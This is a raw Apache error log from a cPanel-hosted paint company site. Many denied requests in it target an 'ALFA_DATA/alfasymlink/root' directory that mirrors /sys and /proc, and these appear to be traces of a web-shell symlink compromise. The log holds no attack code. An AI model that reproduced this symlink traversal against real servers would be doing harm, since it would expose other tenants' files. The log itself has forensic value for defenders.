[Sun Oct 25 16:24:16.272440 2026] [core:error] [pid 2889342:tid 2889342] (13)Permission denied: [client 47.196.48.135:41978] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/vm_area_struct/destroy_by_rcu
[Sun Oct 25 16:24:16.836767 2026] [security2:error] [pid 2893743:tid 2893743] [client 107.172.76.131:64461] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5lZKr0LF-nomLKPjx5zgAAAAc"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Sun Oct 25 16:24:16.836827 2026] [security2:error] [pid 2893743:tid 2893743] [client 107.172.76.131:64461] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5lZKr0LF-nomLKPjx5zgAAAAc"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Sun Oct 25 16:24:17.353385 2026] [core:error] [pid 2896268:tid 2896268] (13)Permission denied: [client 112.205.205.61:53513] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/destroy_by_rcu
[Sun Oct 25 16:24:17.353911 2026] [security2:error] [pid 2896268:tid 2896268] [client 112.205.205.61:53513] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/destroy_by_rcu"] [unique_id "at5lceJaCvOi6etli32CHQAAAAI"]
[Sun Oct 25 16:24:17.353957 2026] [security2:error] [pid 2896268:tid 2896268] [client 112.205.205.61:53513] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/destroy_by_rcu"] [unique_id "at5lceJaCvOi6etli32CHQAAAAI"]
[Sun Oct 25 16:24:18.139575 2026] [ssl:error] [pid 2893744:tid 2893744] (70014)End of file found: [client 52.70.123.241:3330] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:24:22.323393 2026] [ssl:error] [pid 2889353:tid 2889353] (70014)End of file found: [client 44.207.207.36:54860] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:24:26.146812 2026] [ssl:error] [pid 2893298:tid 2893298] (70014)End of file found: [client 3.212.86.97:59649] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:24:28.958296 2026] [core:error] [pid 2892942:tid 2892942] (13)Permission denied: [client 98.4.228.111:44015] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/shrink
[Sun Oct 25 16:24:35.562533 2026] [core:error] [pid 2889342:tid 2889342] (13)Permission denied: [client 70.50.164.158:65230] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/shrink
[Sun Oct 25 16:24:46.210287 2026] [ssl:error] [pid 2889342:tid 2889342] (70014)End of file found: [client 3.208.156.9:29006] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:24:50.158788 2026] [core:error] [pid 2893744:tid 2893744] (13)Permission denied: [client 18.214.186.220:8525] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:02/subsystem/devices/device:06/physical_node/driver/module/uevent
[Sun Oct 25 16:24:55.584323 2026] [core:error] [pid 2893742:tid 2893742] (13)Permission denied: [client 85.208.96.197:26860] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-96/partial
[Sun Oct 25 16:24:58.273491 2026] [core:error] [pid 2889344:tid 2889344] (13)Permission denied: [client 52.200.93.170:1912] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/resource1
[Sun Oct 25 16:25:02.149540 2026] [ssl:error] [pid 2896293:tid 2896293] (5)Input/output error: [client 54.85.126.86:2166] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:25:06.158347 2026] [ssl:error] [pid 2889353:tid 2889353] (70014)End of file found: [client 3.231.193.38:34398] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:25:10.148190 2026] [ssl:error] [pid 2889353:tid 2889353] (5)Input/output error: [client 18.232.11.247:44198] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:25:14.192266 2026] [ssl:error] [pid 2889342:tid 2889342] (70014)End of file found: [client 184.72.84.154:1659] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:25:18.153073 2026] [core:error] [pid 2896293:tid 2896293] (13)Permission denied: [client 52.54.249.218:20929] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory1/node0/cpu1/subsystem/drivers_probe
[Sun Oct 25 16:25:22.200178 2026] [ssl:error] [pid 2887586:tid 2887586] (70014)End of file found: [client 23.22.59.87:58504] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:25:22.389059 2026] [core:error] [pid 2893298:tid 2893298] (13)Permission denied: [client 202.186.79.105:54494] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/rpc_inode_cache/sanity_checks
[Sun Oct 25 16:25:24.576925 2026] [core:error] [pid 2893742:tid 2893742] (13)Permission denied: [client 196.117.113.248:55124] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/rpc_inode_cache/sanity_checks
[Sun Oct 25 16:25:26.917192 2026] [core:error] [pid 2889342:tid 2889342] (13)Permission denied: [client 212.237.119.251:31923] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/rpc_inode_cache/sanity_checks
[Sun Oct 25 16:25:28.279979 2026] [core:error] [pid 2896293:tid 2896293] (13)Permission denied: [client 78.185.55.126:42678] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack/validate
[Sun Oct 25 16:25:29.800708 2026] [core:error] [pid 2887586:tid 2887586] (13)Permission denied: [client 38.59.46.217:60001] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack/validate
[Sun Oct 25 16:25:30.156745 2026] [ssl:error] [pid 2893298:tid 2893298] (70014)End of file found: [client 3.90.73.206:1268] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:25:31.455933 2026] [core:error] [pid 2889344:tid 2889344] (13)Permission denied: [client 74.244.23.186:30432] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack/validate
[Sun Oct 25 16:25:34.248683 2026] [ssl:error] [pid 2891189:tid 2891189] (70014)End of file found: [client 76.35.100.7:22069] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:25:42.130656 2026] [core:error] [pid 2885094:tid 2885094] (13)Permission denied: [client 52.200.58.199:36147] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/wakeup/wakeup1/device/physical_node/subsystem/drivers/exar_serial/new_id
[Sun Oct 25 16:25:44.781495 2026] [ssl:error] [pid 2889344:tid 2889344] (70014)End of file found: [client 201.150.157.67:18702] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:25:46.248522 2026] [ssl:error] [pid 2893742:tid 2893742] (5)Input/output error: [client 52.21.62.139:28037] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:25:49.126688 2026] [core:error] [pid 2887586:tid 2887586] (13)Permission denied: [client 142.111.152.121:40657] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/rpc_inode_cache/validate
[Sun Oct 25 16:25:49.532102 2026] [core:error] [pid 2889342:tid 2889342] (13)Permission denied: [client 85.208.96.203:44228] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/proc_dir_entry/sanity_checks
[Sun Oct 25 16:25:51.612464 2026] [core:error] [pid 2891189:tid 2891189] (13)Permission denied: [client 207.191.166.97:37898] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/rpc_inode_cache/validate
[Sun Oct 25 16:25:52.162756 2026] [ssl:error] [pid 2893742:tid 2893742] (70014)End of file found: [client 88.97.178.65:39013] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:25:53.709569 2026] [core:error] [pid 2889342:tid 2889342] (13)Permission denied: [client 149.13.196.24:41836] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/rpc_inode_cache/validate
[Sun Oct 25 16:25:58.288541 2026] [ssl:error] [pid 2896293:tid 2896293] (70014)End of file found: [client 184.72.95.195:23277] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:26:04.324387 2026] [core:error] [pid 2896268:tid 2896268] (13)Permission denied: [client 190.213.122.51:38853] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/free_calls
[Sun Oct 25 16:26:06.044614 2026] [core:error] [pid 2891189:tid 2891189] (13)Permission denied: [client 78.122.134.47:58726] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/free_calls
[Sun Oct 25 16:26:06.331618 2026] [ssl:error] [pid 2887586:tid 2887586] (70014)End of file found: [client 34.227.156.153:7497] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:26:08.410711 2026] [core:error] [pid 2889342:tid 2889342] (13)Permission denied: [client 196.117.230.194:59986] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/free_calls
[Sun Oct 25 16:26:18.177769 2026] [ssl:error] [pid 2887586:tid 2887586] (70014)End of file found: [client 3.212.86.97:39731] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:26:26.137111 2026] [ssl:error] [pid 2887586:tid 2887586] (70014)End of file found: [client 3.232.102.111:8326] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:26:29.492448 2026] [core:error] [pid 2889344:tid 2889344] (13)Permission denied: [client 94.59.111.71:60196] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack_expect/sanity_checks
[Sun Oct 25 16:26:30.823152 2026] [core:error] [pid 2892941:tid 2892941] (13)Permission denied: [client 67.80.29.115:42371] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack_expect/sanity_checks
[Sun Oct 25 16:26:34.299162 2026] [core:error] [pid 2885094:tid 2885094] (13)Permission denied: [client 34.234.197.175:31961] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/PNP0A03:00/device:03/physical_node/rom
[Sun Oct 25 16:26:37.666421 2026] [security2:error] [pid 2889353:tid 2889353] [client 43.157.156.190:47492] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/wapisimo.php"] [unique_id "at5l_a8dg0Qe9Rh6wUUb8gAAAEU"]
[Sun Oct 25 16:26:38.191564 2026] [ssl:error] [pid 2887586:tid 2887586] (70014)End of file found: [client 44.215.210.112:16464] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:26:39.165455 2026] [core:error] [pid 2893744:tid 2893744] (13)Permission denied: [client 185.191.171.4:15812] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip6-frags/alloc_calls
[Sun Oct 25 16:26:46.236076 2026] [ssl:error] [pid 2885094:tid 2885094] (70014)End of file found: [client 23.21.179.120:15113] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:27:02.140496 2026] [ssl:error] [pid 2893744:tid 2893744] (5)Input/output error: [client 35.171.141.42:3916] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:27:08.219535 2026] [security2:error] [pid 2887459:tid 2887459] [client 107.172.76.131:64471] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5mD3ARVqJVeEfCE8kRqAAAAAo"], referer: https://bases2.sherwinpinturas.com/beta.php
[Sun Oct 25 16:27:08.219591 2026] [security2:error] [pid 2887459:tid 2887459] [client 107.172.76.131:64471] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5mD3ARVqJVeEfCE8kRqAAAAAo"], referer: https://bases2.sherwinpinturas.com/beta.php
[Sun Oct 25 16:27:10.196268 2026] [ssl:error] [pid 2889285:tid 2889285] (70014)End of file found: [client 3.222.190.107:14580] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:27:14.143881 2026] [core:error] [pid 2892941:tid 2892941] (13)Permission denied: [client 54.197.178.107:30229] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/device:00/physical_node/driver/new_id
[Sun Oct 25 16:27:17.506228 2026] [core:error] [pid 2885094:tid 2885094] (13)Permission denied: [client 76.136.23.207:56294] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kernfs_node_cache/remote_node_defrag_ratio
[Sun Oct 25 16:27:20.479873 2026] [core:error] [pid 2896293:tid 2896293] (13)Permission denied: [client 81.102.196.132:55910] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kernfs_node_cache/remote_node_defrag_ratio
[Sun Oct 25 16:27:22.161272 2026] [ssl:error] [pid 2892941:tid 2892941] (70014)End of file found: [client 34.234.197.175:3659] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:27:37.824728 2026] [core:error] [pid 2892941:tid 2892941] (13)Permission denied: [client 73.110.174.15:57725] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_prealloc_space/hwcache_align
[Sun Oct 25 16:27:37.903207 2026] [core:error] [pid 2889342:tid 2889342] (13)Permission denied: [client 100.11.223.166:49628] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_decision_node/poison
[Sun Oct 25 16:27:37.971719 2026] [core:error] [pid 2887586:tid 2887586] (13)Permission denied: [client 24.206.10.152:43218] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack/destroy_by_rcu
[Sun Oct 25 16:27:40.367984 2026] [core:error] [pid 2892942:tid 2892942] (13)Permission denied: [client 154.248.83.209:47338] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_prealloc_space/hwcache_align
[Sun Oct 25 16:27:40.553094 2026] [core:error] [pid 2893744:tid 2893744] (13)Permission denied: [client 168.210.165.92:36480] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack/destroy_by_rcu
[Sun Oct 25 16:27:42.429067 2026] [core:error] [pid 2893742:tid 2893742] (13)Permission denied: [client 45.86.208.25:49972] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_prealloc_space/hwcache_align
[Sun Oct 25 16:27:42.999451 2026] [core:error] [pid 2891189:tid 2891189] (13)Permission denied: [client 91.224.45.168:53642] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack/destroy_by_rcu
[Sun Oct 25 16:27:48.400900 2026] [core:error] [pid 2893744:tid 2893744] (13)Permission denied: [client 94.249.5.51:45064] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_decision_node/poison
[Sun Oct 25 16:27:50.168327 2026] [ssl:error] [pid 2893742:tid 2893742] (70014)End of file found: [client 3.209.174.110:64852] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:27:54.754679 2026] [core:error] [pid 2887586:tid 2887586] (13)Permission denied: [client 85.208.96.204:12164] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/UDPLITEv6/slabs_cpu_partial
[Sun Oct 25 16:27:57.720714 2026] [security2:error] [pid 2889267:tid 2889267] [client 107.172.76.131:64366] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5mP-7UGWPY5MHUn17IrAAAAAk"], referer: https://clic1.sherwinpinturas.com//beta.php
[Sun Oct 25 16:27:57.720773 2026] [security2:error] [pid 2889267:tid 2889267] [client 107.172.76.131:64366] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5mP-7UGWPY5MHUn17IrAAAAAk"], referer: https://clic1.sherwinpinturas.com//beta.php
[Sun Oct 25 16:28:02.130384 2026] [ssl:error] [pid 2893742:tid 2893742] (70014)End of file found: [client 52.54.95.127:32034] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:28:06.146957 2026] [ssl:error] [pid 2893744:tid 2893744] (70014)End of file found: [client 44.220.2.97:48439] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:28:09.642725 2026] [ssl:error] [pid 2889353:tid 2889353] (70014)End of file found: [client 85.208.96.203:56226] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:28:10.250617 2026] [ssl:error] [pid 2887586:tid 2887586] (70014)End of file found: [client 52.201.155.215:16684] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:28:14.118952 2026] [ssl:error] [pid 2885094:tid 2885094] (70014)End of file found: [client 18.232.11.247:21313] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:28:18.151145 2026] [ssl:error] [pid 2889353:tid 2889353] (70014)End of file found: [client 3.94.199.128:42291] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:28:18.188812 2026] [core:error] [pid 2893744:tid 2893744] (13)Permission denied: [client 197.119.130.117:53338] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fsnotify_mark_connector/object_size
[Sun Oct 25 16:28:21.549810 2026] [core:error] [pid 2889342:tid 2889342] (13)Permission denied: [client 46.185.191.211:50972] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fsnotify_mark_connector/object_size
[Sun Oct 25 16:28:22.136958 2026] [ssl:error] [pid 2889344:tid 2889344] (70014)End of file found: [client 23.22.59.87:59850] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:28:23.895312 2026] [core:error] [pid 2885094:tid 2885094] (13)Permission denied: [client 178.208.231.118:3955] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fsnotify_mark_connector/object_size
[Sun Oct 25 16:28:26.150351 2026] [ssl:error] [pid 2889353:tid 2889353] (70014)End of file found: [client 23.23.103.31:51200] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:28:30.153654 2026] [ssl:error] [pid 2893744:tid 2893744] (70014)End of file found: [client 54.225.81.20:13674] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:28:34.138202 2026] [core:error] [pid 2889342:tid 2889342] (13)Permission denied: [client 54.156.124.2:36947] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:05/physical_node/subsystem/drivers/vmd/unbind
[Sun Oct 25 16:28:46.294338 2026] [core:error] [pid 2893744:tid 2893744] (13)Permission denied: [client 18.209.137.234:26945] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory22/node0/memory2/node0/cpu1/driver/cpu1/firmware_node/physical_node/subsystem/drivers/processor/unbind
[Sun Oct 25 16:28:50.138702 2026] [ssl:error] [pid 2885094:tid 2885094] (70014)End of file found: [client 52.70.209.13:44680] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:28:51.800647 2026] [core:error] [pid 2889342:tid 2889342] (13)Permission denied: [client 37.215.3.39:7705] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/alloc_calls
[Sun Oct 25 16:28:54.239300 2026] [core:error] [pid 2889353:tid 2889353] (13)Permission denied: [client 189.137.1.123:45148] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/alloc_calls
[Sun Oct 25 16:28:56.277325 2026] [core:error] [pid 2885094:tid 2885094] (13)Permission denied: [client 37.40.227.188:53006] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/alloc_calls
[Sun Oct 25 16:29:00.683399 2026] [core:error] [pid 2892941:tid 2892941] (13)Permission denied: [client 185.191.171.16:65114] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/RAWv6/cache_dma
[Sun Oct 25 16:29:02.179800 2026] [core:error] [pid 2892942:tid 2892942] (13)Permission denied: [client 54.210.155.69:58834] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/ata1/host0/scsi_host/host0/scan
[Sun Oct 25 16:29:14.147038 2026] [ssl:error] [pid 2892942:tid 2892942] (70014)End of file found: [client 50.17.193.48:14624] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:29:14.427870 2026] [core:error] [pid 2892941:tid 2892941] (13)Permission denied: [client 195.242.214.67:22219] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-280/cpu_slabs
[Sun Oct 25 16:29:15.723394 2026] [core:error] [pid 2897214:tid 2897214] (13)Permission denied: [client 85.208.96.200:31172] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fsnotify_mark/slab_size
[Sun Oct 25 16:29:17.155130 2026] [core:error] [pid 2893744:tid 2893744] (13)Permission denied: [client 94.187.21.170:2900] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-280/cpu_slabs
[Sun Oct 25 16:29:21.261962 2026] [core:error] [pid 2889342:tid 2889342] (13)Permission denied: [client 102.213.134.20:9751] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-280/cpu_slabs
[Sun Oct 25 16:29:23.202638 2026] [core:error] [pid 2891189:tid 2891189] (13)Permission denied: [client 185.198.243.162:48525] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/validate
[Sun Oct 25 16:29:24.537227 2026] [core:error] [pid 2885094:tid 2885094] (13)Permission denied: [client 172.59.211.197:52162] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/validate
[Sun Oct 25 16:29:27.266235 2026] [core:error] [pid 2889353:tid 2889353] (13)Permission denied: [client 105.127.13.0:36133] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/validate
[Sun Oct 25 16:29:30.141580 2026] [core:error] [pid 2889342:tid 2889342] (13)Permission denied: [client 52.203.237.170:31326] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory22/node0/memory23/subsystem/uevent
[Sun Oct 25 16:29:42.142257 2026] [ssl:error] [pid 2889342:tid 2889342] (70014)End of file found: [client 52.71.46.142:26685] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:29:46.317246 2026] [ssl:error] [pid 2892941:tid 2892941] (70014)End of file found: [client 23.23.103.31:25895] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:29:49.877037 2026] [core:error] [pid 2885094:tid 2885094] (13)Permission denied: [client 86.178.231.67:60366] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kernfs_node_cache/object_size
[Sun Oct 25 16:29:50.196634 2026] [ssl:error] [pid 2893742:tid 2893742] (5)Input/output error: [client 52.5.232.250:62052] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:29:52.694083 2026] [core:error] [pid 2887586:tid 2887586] (13)Permission denied: [client 176.88.166.163:50084] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kernfs_node_cache/object_size
[Sun Oct 25 16:29:54.070589 2026] [core:error] [pid 2889342:tid 2889342] (13)Permission denied: [client 151.204.200.208:54955] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kernfs_node_cache/object_size
[Sun Oct 25 16:29:54.153573 2026] [ssl:error] [pid 2889344:tid 2889344] (70014)End of file found: [client 52.7.33.248:31773] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:30:02.154918 2026] [ssl:error] [pid 2889353:tid 2889353] (70014)End of file found: [client 50.16.216.166:59439] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:30:06.144125 2026] [ssl:error] [pid 2896293:tid 2896293] (70014)End of file found: [client 54.156.124.2:24158] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:30:18.134940 2026] [ssl:error] [pid 2889344:tid 2889344] (70014)End of file found: [client 23.23.212.212:6713] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:30:25.433281 2026] [security2:error] [pid 2889348:tid 2889348] [client 107.172.76.131:64369] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5m0-awu2hdqh-E8Ti3NQAAAD8"], referer: https://clic2.sherwinpinturas.com//beta.php
[Sun Oct 25 16:30:25.433357 2026] [security2:error] [pid 2889348:tid 2889348] [client 107.172.76.131:64369] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5m0-awu2hdqh-E8Ti3NQAAAD8"], referer: https://clic2.sherwinpinturas.com//beta.php
[Sun Oct 25 16:30:32.332069 2026] [core:error] [pid 2889353:tid 2889353] (13)Permission denied: [client 80.79.48.201:47757] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/poison
[Sun Oct 25 16:30:34.302148 2026] [core:error] [pid 2893298:tid 2893298] (13)Permission denied: [client 68.38.20.54:34751] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/poison
